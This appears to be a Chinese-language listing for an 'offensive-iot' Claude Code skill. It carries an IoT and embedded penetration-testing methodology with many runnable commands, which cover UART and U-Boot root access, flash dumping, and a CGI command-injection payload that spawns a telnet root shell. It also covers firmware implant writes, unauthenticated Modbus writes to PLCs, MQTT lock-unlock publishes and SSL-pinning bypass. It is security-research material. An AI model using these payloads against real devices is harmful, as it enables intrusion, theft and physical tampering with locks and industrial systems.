mcpField
O
offensive-iot

offensive-iot

github.com/snailsploit安全9.7k181 次安装2 周前更新
代码仓库

关于 offensive-iot

面向安全研究人员的 IoT 与嵌入式设备渗透测试方法指南,覆盖硬件检查、固件分析、运行时测试及云端和无线接口。

主要功能

  1. 01检查 SoC、闪存和调试接口
  2. 02提取并分析设备固件
  3. 03测试启动加载器、控制台和服务
  4. 04评估无线协议及工业协议
  5. 05检查配套应用与云端 API

适用场景

  1. 01审计消费类 IoT 设备的固件和默认凭据
  2. 02测试设备调试接口与安全启动机制
  3. 03检查无线设备和 OT 协议的访问控制
  4. 04追踪设备、配套应用与云端之间的安全问题

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-iot

安装后在 Claude Code 中输入/offensive-iot确认已加载。

详细介绍

IoT 与嵌入式设备 — 攻击性测试方法

快速工作流

  1. 对设备进行物理侦察 — 确认 SoC、闪存、调试接口和无线电
  2. 获取固件 — 从厂商下载、捕获 OTA、硬件转储或拆芯片读取
  3. 解包并分析 — 检查文件系统、服务、机密信息、默认凭据和易受攻击的组件
  4. 获取运行时访问权限 — 通过 UART shell、telnet/SSH 默认凭据或漏洞利用链
  5. 横向移动 — 转向配套应用、云 API,以及通过网状网络/无线方式访问邻近设备

硬件侦察

PCB 检查
  • 根据标记识别 SoC(Realtek、Mediatek、Espressif、Broadcom、Allwinner、NXP、STM32 等)
  • 识别 闪存(8 引脚 SOIC = SPI NOR;BGA = eMMC;TSOP = NAND)
  • 查找 调试接口:TX/RX/GND/VCC 焊盘(UART)、4–10 引脚(JTAG)、4 引脚(SWD)
  • 查找标有 TX、RX、TCK、TMS、TDO、TDI、RST、BOOT 的测试点
工具
工具用途
万用表连接前识别 GND、VCC 电源轨
逻辑分析仪(Saleae、DSLogic)查找 UART 波特率、SPI 时钟,识别协议
USB-UART(FT232、CP2102)UART 控制台
Bus Pirate / Glasgow通用 UART、SPI、I2C、JTAG
J-Link / Black Magic ProbeJTAG / SWD MCU 调试
CH341A 编程器廉价的 SPI 闪存转储工具
XGecu T48现代通用编程器(NAND/eMMC/SPI)
ChipQuik / 热风枪拆焊芯片
UART 发现
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "=== $b ==="
  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

查找:U-Boot 控制台(通常会出现 Hit any key 倒计时)、Linux 初始化消息、控制台上的 root shell、登录提示。

进入引导加载程序控制台
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot:  0
=> printenv                   # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot                       # Linux comes up to root shell, no login

如果 U-Boot 被锁定,请尝试:

  • 关键字 CONFIG_DELAY_AUTOBOOT_KEYED(因厂商而异)
  • Ctrl+C / Ctrl+B / 特定魔法字符串
  • 对 U-Boot 版本检查/签名检查进行故障注入(参见“故障注入”)

闪存转储

SPI NOR(最常见的消费级 IoT 设备)
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin

# Verify
file firmware.bin && binwalk firmware.bin

如果 SoC 不配合:拆下 SPI 芯片,在插座中转储,然后重新焊接。

eMMC / NAND

eMMC 需要先拆焊再读取:使用 BGA-153/169 转 SD 适配器(eBay 上很便宜),再用 USB SD 读卡器读取。

NAND 需要处理位翻转和 ECC — 提取后使用 nanddump/yaffshiv/ubireader。

OTA 捕获

许多设备通过 HTTP(S) 获取固件。对设备进行中间人攻击:

# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS

捕获 URL,直接下载并进行分析。


固件分析

初步分类
binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
文件系统挂载
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin

# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
嵌入式 Linux 快速收获
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"

# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/

# Setuid binaries
find rootfs -perm -4000 -type f

# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "

# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
CGI / Web 管理界面审计

GoAhead、Boa、mini_httpd — 这些代码库早已无人维护,几乎每隔一个 CGI 参数就存在命令注入漏洞。

# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

常见模式:

  • 使用 system() / popen() 拼接查询字符串参数
  • 使用 sprintf 后调用 system — 很容易造成命令注入
  • 通过将 cookie 与明文文件进行比较来检查身份验证(竞争条件/重放攻击)

运行时漏洞利用

控制台 / Telnet 默认凭据

按设备类别尝试:admin/admin、root/root、root/<empty>、admin/password、support/support、cisco/cisco,以及将厂商品牌名用作用户名/密码。务必尝试 root/<serial number> — 许多厂商会为每台设备设置独立的默认凭据。

Web 管理界面命令注入
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
MTD 写入(从运行时重新刷写)

如果你有 root shell:

cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
/dev/mem

在未启用 CONFIG_STRICT_DEVMEM 的旧内核上,/dev/mem 可读写物理内存 — 从任意 root 环境即可完全控制系统。


引导加载程序 / 安全启动攻击

U-Boot 快速绕过方法
  • setenv bootargs ${bootargs} init=/bin/sh
  • setenv preboot 'echo 1 > /sys/...'(在内核启动前运行命令)
  • tftpboot — 从网络加载攻击者的内核
  • 使用 bootm 启动通过 UART 上传的内存驻留映像(该映像由 loadb 上传)
安全启动

现代设备会验证已签名的引导加载程序/内核。绕过途径:

  • 降级:刷入较旧的已签名映像,其中包含已知的内核级 CVE
  • 绕过回滚保护:未烧录防回滚熔丝 → 刷入较旧的已签名映像
  • 提取密钥:使用厂商工具转储 OTP / 熔丝内容,恢复签名密钥
  • 故障注入:对签名检查指令进行故障注入(见下文)
故障注入(电压/时钟毛刺)
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image

RTOS 目标

RTOS说明
FreeRTOS通常是单一二进制文件、没有 MMU → 栈溢出 → 直接控制 RIP
ZephyrMMU/MPU 为可选项;请确认隔离功能确实已启用
ThreadX现归 Microsoft 所有,大多为闭源
MicroEJ / Mbed OSJava/C 混合 — 类型混淆和 JNI 桥接
ESP-IDF (Espressif)Wi-Fi/BLE 协议栈、OTA 链、安全启动 v2
QNX较旧版本:串行端口上的 pdebug shell = root
MCU 逆向工程
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
  -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)

无线协议

蓝牙低功耗(BLE)
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"

# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

攻击面:特征值可在未经身份验证的情况下写入、配对降级(强制使用“Just Works”)、会话密钥重用、应用端缺少等效于 TLS 的保护。

Zigbee / Thread / Matter
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap

# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0

Touchlink 入网:已知传输密钥已在野外流传(0x9F559A553B7A6B2C…)— 许多消费类设备会接受来自任意附近无线电设备的 Touchlink 入网请求。

Z-Wave

S0 安全机制使用固定的网络密钥派生方式;S2 修复了这一问题。仍使用 S0 的旧款灯泡/门锁可通过 Z-Force / EZ-Wave 发起攻击。

LoRaWAN
  • 使用 ABP 配置的设备:密钥仅刷写一次,之后从不轮换
  • 帧计数器重置后可能重放加入请求
  • 使用 LoRaPWN、ChirpStack 进行分析
Sub-GHz(433 / 868 / 915 MHz)
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A   # auto-decoder for many devices
gqrx                     # interactive

# Capture, analyze in Inspectrum, replay with hackrf_transfer

目标:车库门(KeeLoq 滚动码分析)、智能插座(固定码 = 易于重放)、胎压监测器(TPMS 欺骗)、工业遥测。


ICS / OT 协议

Modbus
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol
BACnet(楼宇自动化)
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
OPC-UA

现代 OPC-UA 具有安全配置文件;许多部署为兼容性而使用 None。测试:

  • 匿名浏览地址空间(信息泄露)
  • 使用弱凭据的用户名/密码端点
  • 基于证书但接受自签名证书的端点
S7(Siemens)

Snap7 库;PLC 启动/停止、DB 读/写命令历来无需身份验证。这也是 Stuxnet 的攻击面。


MQTT / CoAP

MQTT 匿名订阅
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'

许多云代理默认不限制主题 ACL — 使用空凭据连接,订阅 #,重放设备命令。

CoAP
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'

DTLS 经常配置错误(固件中包含 PSK,且不轮换)。


配套移动应用/云 API

如今大多数 IoT 漏洞存在于云端 + 配套应用的组合中,而非设备本身。

# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk

# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/

# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app

测试云 API:

  • 仅凭序列号认领设备(窃取已发货的设备)
  • /devices/<id> 端点存在 IDOR
  • 实时流媒体 URL 无需身份验证(RTSP / WebRTC 令牌)
  • 接受攻击者上传数据包的固件签名端点(罕见但后果严重)

跨设备横向移动

  • 入侵 LAN 上的一台设备 → ARP/DHCP 欺骗相邻设备
  • 网状协议桥接设备(Zigbee 协调器、Z-Wave 集线器)→ 控制相邻设备
  • 交换 BLE central 角色 → 以合法集线器的身份直接与外围设备通信
  • 云账户遭入侵 → 同时控制关联到该账户的所有设备

报告要点

每项发现都应记录:

  • 受影响范围:型号、固件版本、地区,以及已知的序列号范围
  • 复现方式:物理或远程,利用所需时间
  • 前置条件:需要物理访问?处于同一网络?已通过身份验证的云账户?
  • 后置条件:是否持久?是否影响其他设备?是否涉及云端?
  • 厂商披露途径:PSIRT 联系方式、ICS-CERT、用于分配 CVE 的 MITRE

测试清单

[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure

关键参考资料

评论

支持 Markdown